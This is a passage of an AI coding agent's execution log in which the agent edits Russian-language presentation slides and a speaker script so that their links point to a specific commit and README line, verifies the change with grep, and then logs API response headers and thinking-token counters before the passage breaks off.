[INFO]   \"type\": \"assistant\",\n[2026-09-29T08:04:01.051Z] [INFO]   \"message\": {\n[2026-09-29T08:04:01.051Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:04:01.051Z] [INFO]     \"id\": \"msg_011CfXPAavyRG89aX7bojB7k\",\n[2026-09-29T08:04:01.051Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:04:01.051Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:04:01.051Z] [INFO]     \"content\": [\n[2026-09-29T08:04:01.051Z] [INFO]       {\n[2026-09-29T08:04:01.051Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:04:01.051Z] [INFO]         \"id\": \"toolu_01QLeZtUvPn4qT61A97mg8Ls\",\n[2026-09-29T08:04:01.051Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:04:01.051Z] [INFO]         \"input\": {\n[2026-09-29T08:04:01.051Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; python3 - <<'EOF'\\nC='https://github.com/G-Ivan-A/mango_ba_prompts/commit/d8a47597ed9f0301e03086e7c14cbd35205b01d1'\\nR='https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50'\\ns='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md'\\nt=open(s).read()\\na='[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),'\\nb=f'[\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0430 23 \u0444\u0430\u0439\u043b\u0430]({C}),\\\\n[README `mango_ba_prompts`: \u00abevals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\u00bb]({R}),'\\nassert a in t; open(s,'w').write(t.replace(a,b))\\np='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md'\\nt=open(p).read()\\na='[\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)'\\nassert a in t; t=t.replace(a,f'[\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e]({C})')\\na='\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.'\\nassert a in t; t=t.replace(a,f'[\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\\\\n  {R}): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.')\\nopen(p,'w').write(t)\\nEOF\\ngrep -n -B1 -A1 'README.md#L50' projects/ba-ai-process/docs/presentation/*speaker*.md; grep -rn 'mango_ba_prompts/blob/main/CHANGELOG' projects/ba-ai-process/docs/presentation/ || echo \\\"no changelog refs left\\\"\",\n[2026-09-29T08:04:01.051Z] [INFO]           \"description\": \"Point evolution links to exact evidence\"\n[2026-09-29T08:04:01.051Z] [INFO]         },\n[2026-09-29T08:04:01.051Z] [INFO]         \"caller\": {\n[2026-09-29T08:04:01.051Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:04:01.051Z] [INFO]         }\n[2026-09-29T08:04:01.051Z] [INFO]       }\n[2026-09-29T08:04:01.051Z] [INFO]     ],\n[2026-09-29T08:04:01.051Z] [INFO]     \"container\": null,\n[2026-09-29T08:04:01.051Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:04:01.051Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:04:01.051Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:04:01.051Z] [INFO]     \"usage\": {\n[2026-09-29T08:04:01.051Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:04:01.051Z] [INFO]       \"cache_creation_input_tokens\": 396,\n[2026-09-29T08:04:01.051Z] [INFO]       \"cache_read_input_tokens\": 97235,\n[2026-09-29T08:04:01.051Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:04:01.051Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:04:01.051Z] [INFO]         \"ephemeral_1h_input_tokens\": 396\n[2026-09-29T08:04:01.051Z] [INFO]       },\n[2026-09-29T08:04:01.051Z] [INFO]       \"output_tokens\": 20,\n[2026-09-29T08:04:01.051Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:04:01.051Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:04:01.051Z] [INFO]     },\n[2026-09-29T08:04:01.051Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:04:01.051Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:04:01.051Z] [INFO]     \"context_management\": null\n[2026-09-29T08:04:01.051Z] [INFO]   },\n[2026-09-29T08:04:01.051Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:04:01.051Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:01.051Z] [INFO]   \"uuid\": \"d945e319-22e5-41c5-bb3a-d53e22b4c9de\",\n[2026-09-29T08:04:01.051Z] [INFO]   \"timestamp\": \"2026-09-29T08:04:00.868Z\",\n[2026-09-29T08:04:01.051Z] [INFO]   \"request_id\": \"req_011CfXPAaKGFjw5a2oj5oVck\",\n[2026-09-29T08:04:01.051Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:04:01.051Z] [INFO]     \"toolu_01QLeZtUvPn4qT61A97mg8Ls\": {\n[2026-09-29T08:04:01.051Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; python3 - <<'EOF'\\nC='https://github.com/G-Ivan-A/mango_ba_prompts/commit/d8a47597ed9f0301e03086e7c14cbd35205b01d1'\\nR='https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50'\\ns='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md'\\nt=open(s).read()\\na='[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),'\\nb=f'[\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0430 23 \u0444\u0430\u0439\u043b\u0430]({C}),\\\\n[README `mango_ba_prompts`: \u00abevals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\u00bb]({R}),'\\nassert a in t; open(s,'w').write(t.replace(a,b))\\np='projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md'\\nt=open(p).read()\\na='[\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)'\\nassert a in t; t=t.replace(a,f'[\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e]({C})')\\na='\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.'\\nassert a in t; t=t.replace(a,f'[\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\\\\n  {R}): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.')\\nopen(p,'w').write(t)\\nEOF\\ngrep -n -B1 -A1 'README.md#L50' projects/ba-ai-process/docs/presentation/*speaker*.md; grep -rn 'mango_ba_prompts/blob/main/CHANGELOG' projects/ba-ai-process/docs/presentation/ || echo \\\"no changelog refs left\\\"\",\n[2026-09-29T08:04:01.051Z] [INFO]       \"description\": \"Point evolution links to exact evidence\"\n[2026-09-29T08:04:01.051Z] [INFO]     }\n[2026-09-29T08:04:01.051Z] [INFO]   }\n[2026-09-29T08:04:01.051Z] [INFO] }\n[2026-09-29T08:04:04.289Z] [INFO] {\n[2026-09-29T08:04:04.289Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"task_id\": \"bdihe85ag\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"tool_use_id\": \"toolu_01QLeZtUvPn4qT61A97mg8Ls\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"description\": \"Point evolution links to exact evidence\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"is_backgrounded\": false,\n[2026-09-29T08:04:04.289Z] [INFO]   \"task_type\": \"local_bash\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"uuid\": \"9cb79e78-1462-4375-a5da-d3db891e8367\",\n[2026-09-29T08:04:04.289Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:04:04.289Z] [INFO] }\n[2026-09-29T08:04:05.573Z] [INFO] {\n[2026-09-29T08:04:05.573Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"task_id\": \"bdihe85ag\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"tool_use_id\": \"toolu_01QLeZtUvPn4qT61A97mg8Ls\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"summary\": \"Point evolution links to exact evidence\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"uuid\": \"8fa20f04-1771-40f9-92ce-d455bec5e24b\",\n[2026-09-29T08:04:05.573Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:04:05.573Z] [INFO] }\n[2026-09-29T08:04:05.680Z] [INFO] {\n[2026-09-29T08:04:05.680Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:04:05.680Z] [INFO]   \"message\": {\n[2026-09-29T08:04:05.680Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:04:05.680Z] [INFO]     \"content\": [\n[2026-09-29T08:04:05.680Z] [INFO]       {\n[2026-09-29T08:04:05.680Z] [INFO]         \"tool_use_id\": \"toolu_01QLeZtUvPn4qT61A97mg8Ls\",\n[2026-09-29T08:04:05.680Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:04:05.680Z] [INFO]         \"content\": \"148-  [\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\\n149:  https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n150-- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\nno changelog refs left\",\n[2026-09-29T08:04:05.680Z] [INFO]         \"is_error\": false\n[2026-09-29T08:04:05.680Z] [INFO]       }\n[2026-09-29T08:04:05.680Z] [INFO]     ]\n[2026-09-29T08:04:05.680Z] [INFO]   },\n[2026-09-29T08:04:05.680Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:04:05.680Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:05.680Z] [INFO]   \"uuid\": \"7ebb562a-2bf6-4509-9285-3b21de173807\",\n[2026-09-29T08:04:05.680Z] [INFO]   \"timestamp\": \"2026-09-29T08:04:05.670Z\",\n[2026-09-29T08:04:05.680Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:04:05.680Z] [INFO]     \"stdout\": \"148-  [\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\\n149:  https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n150-- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\nno changelog refs left\",\n[2026-09-29T08:04:05.680Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:04:05.680Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:04:05.680Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:04:05.680Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T08:04:05.680Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T08:04:05.680Z] [INFO]       \"files\": [\n[2026-09-29T08:04:05.680Z] [INFO]         {\n[2026-09-29T08:04:05.680Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T08:04:05.680Z] [INFO]           \"hunks\": [\n[2026-09-29T08:04:05.680Z] [INFO]             {\n[2026-09-29T08:04:05.680Z] [INFO]               \"oldStart\": 220,\n[2026-09-29T08:04:05.680Z] [INFO]               \"oldLines\": 7,\n[2026-09-29T08:04:05.680Z] [INFO]               \"newStart\": 220,\n[2026-09-29T08:04:05.680Z] [INFO]               \"newLines\": 8,\n[2026-09-29T08:04:05.680Z] [INFO]               \"lines\": [\n[2026-09-29T08:04:05.680Z] [INFO]                 \" \",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" **\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" [\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"-[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"+[\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0430 23 \u0444\u0430\u0439\u043b\u0430](https://github.com/G-Ivan-A/mango_ba_prompts/commit/d8a47597ed9f0301e03086e7c14cbd35205b01d1),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"+[README `mango_ba_prompts`: \u00abevals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\u00bb](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" [\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" [\u0432\u0445\u043e\u0434\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0416\u0430\u043a\u043a\u0430\u0440 0.077](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" [\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\"\n[2026-09-29T08:04:05.680Z] [INFO]               ]\n[2026-09-29T08:04:05.680Z] [INFO]             }\n[2026-09-29T08:04:05.680Z] [INFO]           ]\n[2026-09-29T08:04:05.680Z] [INFO]         },\n[2026-09-29T08:04:05.680Z] [INFO]         {\n[2026-09-29T08:04:05.680Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T08:04:05.680Z] [INFO]           \"hunks\": [\n[2026-09-29T08:04:05.680Z] [INFO]             {\n[2026-09-29T08:04:05.680Z] [INFO]               \"oldStart\": 138,\n[2026-09-29T08:04:05.680Z] [INFO]               \"oldLines\": 14,\n[2026-09-29T08:04:05.680Z] [INFO]               \"newStart\": 138,\n[2026-09-29T08:04:05.680Z] [INFO]               \"newLines\": 15,\n[2026-09-29T08:04:05.680Z] [INFO]               \"lines\": [\n[2026-09-29T08:04:05.680Z] [INFO]                 \" **\u0422\u0435\u043a\u0441\u0442.**\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" \",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" - \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"-  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"+  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/commit/d8a47597ed9f0301e03086e7c14cbd35205b01d1)\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"   \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" - \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"   [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"   \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"   \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" - \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"-  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"+  [\u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438](\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"+  https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/README.md#L50): evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \" - \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\",\n[2026-09-29T08:04:05.680Z] [INFO]                 \"   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\"date\": \"Tue, 29 Sep 2026 08:04:06 GMT\",\n[2026-09-29T08:04:06.937Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:04:06.940Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:04:06.950Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:04:06.956Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:04:06.962Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:04:06.966Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:04:06.971Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:04:06.973Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:04:06.975Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:04:06.979Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:04:06.983Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:04:06.985Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:04:06.989Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:04:06.993Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:04:06.995Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:04:07.001Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:04:07.004Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:04:07.007Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:04:07.010Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:04:07.015Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:04:07.020Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:04:07.024Z] [STDOUT]   \"request-id\": \"req_011CfXPBPiK96E2hiibxHh8h\",\n[2026-09-29T08:04:07.028Z] [STDOUT]   \"traceresponse\": \"00-55fe8242740424433180de65258c84ae-af0235602e157091-01\",\n[2026-09-29T08:04:07.032Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:04:07.036Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:04:07.039Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:04:07.042Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:04:07.048Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:04:07.052Z] [STDOUT]   \"cf-ray\": \"a42979a029db5d90-FRA\",\n[2026-09-29T08:04:07.057Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:04:07.060Z] [STDOUT] [log_1d9e0c] response parsed {\n[2026-09-29T08:04:07.064Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:04:07.069Z] [STDOUT]   status: 200,\n[2026-09-29T08:04:07.074Z] [STDOUT]   body: X {\n[2026-09-29T08:04:07.078Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:04:07.081Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:04:07.083Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:04:07.087Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:04:07.090Z] [STDOUT]     },\n[2026-09-29T08:04:07.095Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:04:07.101Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:04:07.105Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:04:07.108Z] [STDOUT]   },\n[2026-09-29T08:04:07.115Z] [STDOUT]   durationMs: 963,\n[2026-09-29T08:04:07.129Z] [STDOUT] }\n[2026-09-29T08:04:07.280Z] [INFO] {\n[2026-09-29T08:04:07.280Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:07.280Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:04:07.280Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T08:04:07.280Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:04:07.280Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:07.280Z] [INFO]   \"uuid\": \"cb04c539-2ba1-4f91-b2b9-61acfd343978\"\n[2026-09-29T08:04:07.280Z] [INFO] }\n[2026-09-29T08:04:08.121Z] [INFO] {\n[2026-09-29T08:04:08.121Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:04:08.121Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T08:04:08.121Z] [INFO]   \"estimated_tokens\": 220,\n[2026-09-29T08:04:08.121Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T08:04:08.121Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:04:08.121Z] [INFO]   \"uuid\": \"975e2d88-233b-4dd3-8e17-99a2e79a3d17\"\n[2026-09-29T08:04:08.121Z] [INFO] }\n[2026-09-29T08:04:08.135Z] [INFO] {\n[2026-09-29T08:04:08.135Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:04:08.135Z] [INFO]   \"message\": {\n[2026-09-29T08:04:08.135Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:04:08.135Z] [INFO]     \"id\": \"msg_011CfXPBQHo1TpXrTcwQ5yfZ\",\n[2026-09-29T08:04:08.135Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:04:08.135Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:04:08.135Z] [INFO]     \"content\": [\n[2026-09-29T08:04:08.135Z] [INFO]       {\n[2026-09-29T08:04:08.135Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:04:08.135Z] 